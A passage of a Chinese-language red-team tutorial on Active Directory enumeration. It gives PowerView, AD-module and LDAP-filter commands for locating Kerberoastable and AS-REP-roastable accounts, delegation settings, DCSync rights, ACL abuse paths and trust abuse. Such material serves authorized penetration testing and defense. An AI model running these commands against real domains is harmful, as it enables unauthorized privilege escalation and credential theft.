Replicating Directory Changes(用于DCSync攻击,可直接获取域内所有账户的哈希)。
2.3.3 跨域信任关系的滥用
在多域或多林环境中,信任关系可能成为攻击的桥梁。
查询域信任关系:
Get-ADTrust -Filter *重点评估森林信任(Forest Trust)和是否允许SID历史(SID History)继承,这些配置可能被用于跨域或跨林的权限提升。
2.3.4 Kerberos与LDAP配置的枚举与滥用
枚举服务主体名称 (SPN): 通过查询SPN,可以发现网络上注册的各类服务账户。这些账户通常密码强度不高或长期未更换,是Kerberoasting攻击的理想目标。
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalNameLDAP签名与加密: 检查域的LDAP签名和加密设置。如果未强制要求签名,LDAP通信可能遭受中间人攻击,导致凭据泄露或信息篡改。
2.4 关键服务的枚举与滥用
Active Directory通常与多个关键服务深度整合,这些服务的配置缺陷是域攻击路径中的重要环节。
2.4.1 Exchange
风险: Exchange与AD深度集成,其服务账户(如
Exchange Trusted Subsystem组)通常在AD中拥有极高的权限,例如对域对象的WriteDACL权限,可被滥用来修改权限并执行DCSync攻击。枚举方法:
Get-ADUser -Filter {msExchRecipientTypeDetails -ne "$null"} -Properties msExchRecipientTypeDetails2.4.2 MSSQL
风险: 域内的MSSQL服务器通常以高权限账户(如SYSTEM)运行,或与AD服务账户绑定。如果数据库链接配置不当,可能导致从一个SQL实例横向移动到另一个,甚至通过
xp_cmdshell在服务器上执行系统命令。枚举方法:
Get-WmiObject -Namespace "root\Microsoft\SqlServer" -Class "InstanceProviderRegistration"2.4.3 SCCM
风险: SCCM拥有在域内所有客户端上部署软件和执行脚本的能力。攻击者一旦获得SCCM管理权限,就可以向全域推送恶意负载,实现大规模横向移动和持久化。
枚举方法: 通过AD或WMI查询,寻找SCCM相关的服务账户和管理服务器。
2.4.4 ADFS
风险: Active Directory联合身份验证服务(ADFS)是单点登录(SSO)的核心。如果其Token签名证书私钥泄露,攻击者可以伪造任何用户的身份凭证(黄金SAML攻击),从而访问所有联合的内外部应用。
枚举方法:
Get-AdfsProperties
Get-AdfsRelyingPartyTrust2.4.5 Azure
风险: 在混合云环境中,本地AD通过Azure AD Connect与Azure AD同步。如果同步的服务账户权限过高或其凭据泄露,攻击者可能从本地AD横向移动到云端,反之亦然,甚至获取Azure全局管理员权限。
枚举方法:
Get-ADSyncScheduler
Get-AzRoleAssignment2.5 总结
手工枚举技术是理解和解析域环境复杂性的核心方法。
通过对ACL的细致分析、委派机制的逐步探索,以及对Exchange、Azure等关键服务的深度挖掘,可以清晰地绘制出域内权限分布的全貌,发现自动化工具无法覆盖的攻击路径。
掌握这些技术,是构建精确攻击路径、提升红队行动成功率的坚实基础。
3 PowerView深度应用
PowerView及其.NET移植版SharpView是功能强大的Windows域环境枚举工具,它们在实现方式和使用场景上各有侧重,能够满足不同任务的需求。
3.1 PowerView与SharpView对比
PowerView: 利用PowerShell的AD钩子和底层Win32 API,输出为PowerShell对象。这使得其输出可以方便地通过管道传递给其他PowerShell命令(如
Select-Object)进行高效的数据筛选、解析和操作。适合需要与PowerShell深度集成和动态数据处理的任务。SharpView: 是PowerView的.NET移植版,以.NET程序集(EXE)的形式实现。其输出是字符串而非PowerShell对象,不依赖PowerShell环境,但在处理输出时需要额外的字符串解析步骤。这种设计使其在面对安全监控时更难被检测,隐蔽性要求高的场景中更为实用。
3.2 功能分类详解
两个工具的功能集基本相同,可以分为不同的类别。
3.2.1 杂项功能
Export-PowerViewCSV: 以线程安全的方式追加CSV文件。Resolve-IPAddress: 将主机名解析为IP地址。ConvertTo-SID: 将用户/组名转换为安全标识符(SID)。Convert-ADName: 在多种对象名称格式之间转换。ConvertFrom-UACValue: 将UAC整数值转换为可读形式。Invoke-UserImpersonation: 创建“runas /netonly”类型的登录并模拟令牌。Invoke-RevertToSelf: 撤销令牌模拟。Get-DomainSPNTicket: 请求指定SPN的Kerberos票据。Invoke-Kerberoast: 请求可Kerberoast的服务票据并返回哈希。Get-PathAcl: 获取文件路径的ACL。
3.2.2 域与LDAP功能
Get-Domain: 返回当前域对象。Get-DomainController: 返回域控制器。Get-Forest: 返回当前林对象。Get-DomainUser: 返回域用户对象。Get-DomainComputer: 返回域计算机对象。Get-DomainGroup: 返回域组对象。Get-DomainGroupMember: 返回指定组的成员。Get-DomainObjectAcl: 返回指定对象的ACL。Find-InterestingDomainAcl: 查找具有修改权限的非内置对象ACL。Get-DomainOU: 搜索组织单位(OU)。
3.2.3 GPO功能
Get-DomainGPO: 返回所有GPO或特定GPO。Get-DomainGPOLocalGroup: 返回通过GPO修改本地组成员关系的策略。Get-DomainPolicy: 返回默认域策略或域控制器策略。
3.2.4 计算机枚举函数
Get-NetLocalGroup: 枚举本地组。Get-NetLocalGroupMember: 枚举本地组成员。Get-NetShare: 返回开放的共享。Get-NetLoggedon: 返回已登录的用户。Get-NetSession: 返回会话信息。Test-AdminAccess: 测试当前用户对目标机器的管理员权限。
3.2.5 线程化元函数
Find-DomainUserLocation: 查找特定用户登录的计算机。Find-DomainShare: 查找可访问的域共享。Find-LocalAdminAccess: 查找当前用户拥有本地管理员权限的计算机。
3.2.6 域信任功能
Get-DomainTrust: 返回所有域信任关系。Get-ForestTrust: 返回所有林信任关系。Get-DomainTrustMapping: 递归枚举所有信任关系。Get-DomainForeignGroupMember: 枚举包含域外用户的组。
3.3 实战枚举:用户
获取用户总数:
(Get-DomainUser).Count获取特定用户详细信息:
Get-DomainUser -Identity william.henry | Select-Object name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,useraccountcontrol导出所有用户信息:
Get-DomainUser | Select-Object name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,useraccountcontrol | Export-Csv AllUsers.csv -NoTypeInformation查找可AS-REP Roasting的用户 (不需要Kerberos预身份验证):
Get-DomainUser -KerberosPreauthNotRequired查找配置了约束委派的用户:
Get-DomainUser -TrustedToAuth查找配置了无约束委派的用户:
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"查找可Kerberoasting的用户 (有SPN的服务账户):
Get-DomainUser -SPN查找密码在描述中的用户:
Get-DomainUser -Properties description | Where-Object {$_.description -ne $null}分析密码设置时间:
# 按密码最后设置时间排序所有用户
Get-DomainUser -Properties samaccountname,pwdlastset,lastlogon | Select-Object samaccountname,pwdlastset,lastlogon | Sort-Object -Property pwdlastset
# 查找密码超过90天未修改的用户
Get-DomainUser -Properties pwdlastset | where { $_.pwdlastset -lt (Get-Date).addDays(-90) }3.4 实战枚举:组
获取所有组:
Get-DomainGroup -Properties Name获取特定组成员:
Get-DomainGroupMember -Identity "Help Desk"查找受保护组 (adminCount=1):
Get-DomainGroup -AdminCount查找被委派管理的组:
Find-ManagedSecurityGroups
Get-DomainManagedSecurityGroup枚举本地组成员:
# 获取主机上的本地组列表
Get-NetLocalGroup -ComputerName WKS01
# 枚举指定主机上的本地组成员
Get-NetLocalGroupMember -ComputerName WKS013.5 实战枚举:计算机
获取计算机信息:
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol查找配置了无约束委派的计算机:
Get-DomainComputer -Unconstrained查找配置了约束委派的计算机:
Get-DomainComputer -TrustedToAuth3.6 实战枚举:ACL
ACL滥用: ACL配置错误是常见的攻击向量。特定的权限可被滥用以提升权限:
ForceChangePassword: 可使用Set-DomainUserPassword强制重置用户密码。AddMembers: 可使用Add-DomainGroupMember将任意用户添加到组中。GenericAll/GenericWrite: 拥有对对象的完全/写入控制权,可修改属性(如添加SPN用于Kerberoasting)或重置密码。WriteDACL: 可修改对象的ACL,为自己添加任意权限(如DCSync权限)。
使用内置Cmdlet枚举:
(Get-ACL "AD:$((Get-ADUser peter.atwood).distinguishedname)").access | ? { $_.IdentityReference -eq "REDTEAMNOTES\william.henry"}使用PowerView枚举:
Get-DomainObjectAcl -Identity 'Security Operations' -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs查找DCSync权限:
Get-ObjectAcl "DC=REDTEAMNOTES,DC=local" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')}3.7 实战枚举:GPO
组策略对象(GPO)是集中管理配置的核心,错误的GPO权限配置可能导致域控级别的权限提升。
获取所有GPO名称:
Get-DomainGPO | select displayname查看应用于特定计算机的GPO:
Get-DomainGPO -ComputerName WKS01 | select displayname检查GPO权限:
Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq "S-1-5-21-..."}3.8 实战枚举:域信任
域信任关系是跨域横向移动的关键。
枚举信任关系:
Get-DomainTrust
Get-DomainTrustMapping攻击信任关系:
跨信任攻击: 如Kerberoasting、ASREPRoasting等攻击可以跨越信任边界执行。
SID历史滥用: 如果信任关系未启用SID过滤,可以利用
SID History属性从一个被攻陷的域(如子域)提升到另一个域(如父域)的权限。
4 LDAP枚举与过滤器应用
4.1 Active Directory与LDAP概述
Active Directory (AD): 是Windows网络环境的目录服务,以分布式、层次化结构集中管理组织资源。它本质上是一个庞大的数据库,域内所有用户(无论权限高低)均可访问和查询其中的大部分对象。
LDAP (轻量级目录访问协议): 是一种开源、跨平台的协议,用于访问和查询目录服务。AD是使用LDAP协议的目录服务器。客户端应用程序通过LDAP查询与AD进行通信,以请求信息或进行身份验证。
4.2 AD中的权限与特权
高权限组: AD中存在许多内置的高权限组,其成员资格是权限提升的关键目标。
Server Operators: 可修改服务、访问SMB共享。Backup Operators: 可本地登录DC,制作SAM/NTDS数据库的影子副本,应被视为等同于域管。Print Operators: 可本地登录DC,并可能通过加载恶意驱动程序提权。Account Operators: 可修改域内非受保护的账户和组。DNSAdmins: 有能力在DC上加载DLL,可作为持久化或提权手段。
用户权限 (Rights) 分配:
用户的权限由其组成员身份和GPO分配决定。使用
whoami /priv命令可以查看当前用户的权限。管理员在提升的会话中会拥有更多特权,如
SeDebugPrivilege(调试程序)、SeBackupPrivilege(备份文件和目录)、SeTakeOwnershipPrivilege(获取文件所有权)等,这些权限都可能被滥用。
4.3 LDAP协议详解
LDAP会话与绑定:
LDAP会话通过连接到目录系统代理(如AD域控制器)开始。
通过执行“绑定 (BIND)”操作来验证凭据并建立身份验证状态。
简单身份验证: 使用用户名和密码进行绑定,默认以明文形式发送。
SASL身份验证: 使用其他认证服务(如Kerberos)进行绑定,安全性更高。
LDAP查询:
用于与目录服务通信以请求信息。
示例:
# 查找所有组 Get-ADObject -LDAPFilter "(objectClass=group)" # 查找所有被禁用的用户账户 Get-ADObject -LDAPFilter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))"
4.4 Active Directory搜索过滤器
PowerShell过滤器 (
-Filter):这是Active Directory PowerShell模块中使用的过滤器语法,更易读。
常用操作符:
-eq(等于),-ne(不等于),-like(类似于),-gt(大于),-and,-or。示例:
# 查找所有计算机名中包含SQL的主机 Get-ADComputer -Filter "DNSHostName -like '*SQL*'" # 查找所有受保护的组 Get-ADGroup -Filter "adminCount -eq 1" # 查找既是管理员又不需要预身份验证的用户 Get-ADUser -Filter {(adminCount -eq 1) -and (DoesNotRequirePreAuth -eq $true)}LDAP过滤器 (
-LDAPFilter):使用标准的LDAP搜索过滤器语法 (RFC 4515),更通用但语法更严格。
语法结构:
(attribute=value)。逻辑运算符前置:
(&(filter1)(filter2))表示AND,(|(filter1)(filter2))表示OR。匹配规则对象标识符 (OIDs):
1.2.840.113556.1.4.803(BIT_AND): 按位与,用于检查复合标志(如userAccountControl)。1.2.840.113556.1.4.1941(IN_CHAIN): 递归匹配,常用于查找用户的所有嵌套组成员身份。
示例:
# 查找嵌套在Domain Admins组中的所有用户 (递归) Get-ADUser -LDAPFilter "(memberOf:1.2.840.113556.1.4.1941:=(CN=Domain Admins,CN=Users,DC=domain,DC=local))"SearchBase和SearchScope参数:用于优化大型环境中的搜索,限定搜索范围。
SearchBase: 指定搜索的起始OU路径。SearchScope: 定义搜索深度。Base(0): 只搜索指定的SearchBase对象本身。OneLevel(1): 搜索SearchBase下的直接子对象。Subtree(2): 搜索SearchBase下的所有子对象(递归)。
4.5 使用内置工具进行枚举
即使没有第三方工具,也可以使用Windows内置的工具进行有效的AD枚举。
DS工具 (
dsquery,dsget):Windows自带的命令行工具,用于查询AD。
dsquery user "OU=Employees,DC=domain,DC=local" | dsget user -samid -pwdneverexpiresPowerShell Active Directory模块:
RSAT中包含的官方模块,功能强大。
需通过
Add-WindowsCapability安装。
WMI:
可通过
Get-WmiObject或Get-CimInstance查询AD对象。
Get-WmiObject -Class win32_group -Filter "Domain='DOMAIN_NAME'"ADSI (Active Directory Service Interfaces):
一组COM接口,可通过PowerShell的
[adsisearcher]类型访问。
([adsisearcher]"(&(objectClass=Computer))").FindAll()
4.6 NT AUTHORITY\SYSTEM的利用
NT AUTHORITY\SYSTEM账户在加入域的主机上,权限等同于该主机的计算机账户。计算机账户本质上是一个特殊的用户账户,因此
SYSTEM权限几乎等同于拥有了一个域用户账户的访问权限,可以执行绝大多数域内枚举操作。获得
SYSTEM权限后,可以执行:使用PowerView/BloodHound等工具进行全域信息收集。
执行Kerberoasting / ASREPRoasting攻击。
运行Net-NTLMv2哈希收集或中继攻击。
执行令牌模拟,劫持高权限域用户的会话。
4.7 LDAP匿名绑定与利用
原理: 如果域控制器配置允许未经身份验证的LDAP绑定(匿名绑定),攻击者无需任何凭据即可查询大量域信息,包括用户、组、计算机的完整列表以及密码策略。
检测与利用:
可以使用
ldapsearch(Linux) 或Python的ldap3库进行测试。windapsearch.py是一个自动化枚举工具,可利用匿名绑定获取域用户、计算机、GPO等信息。
凭证化LDAP枚举:
拥有任何一个有效的域凭据后,可以执行更深入的LDAP查询,获取几乎所有AD对象的信息。
windapsearch.py等工具支持使用凭据进行认证枚举。
Seatbelt
Seatbelt是一个主机安全检查的工具,类似winpeas。
https://github.com/GhostPack/Seatbelt
-.-
评论区